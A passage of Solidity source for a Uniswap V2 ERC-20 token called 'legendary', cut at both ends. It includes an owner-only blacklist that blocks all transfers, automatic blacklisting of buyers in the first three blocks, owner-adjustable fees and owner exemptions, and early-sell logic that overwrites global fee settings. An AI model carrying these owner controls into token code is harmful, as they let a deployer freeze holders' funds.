function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract legendary is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address private marketingWallet;
address private devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public earlySellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("legendary", "legendary") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyLiquidityFee = 2;
uint256 _buyDevFee = 5;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 6;
uint256 _sellDevFee = 3;
uint256 _earlySellLiquidityFee = 15;
uint256 _earlySellMarketingFee = 10;
uint256 _earlySellDevFee = 3
; uint256 totalSupply = 1 * 1e9 * 1e18;
maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 20 / 1000; // 2% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
if (block.number <= (launchedAt + 3) &&
to != uniswapV2Pair &&
to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
) {
_blacklist[to] = true;
}
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellDevFee = earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 2;
sellMarketingFee = 3;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 3;
sellMarketingFee = 3;
sellDevFee = 1;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
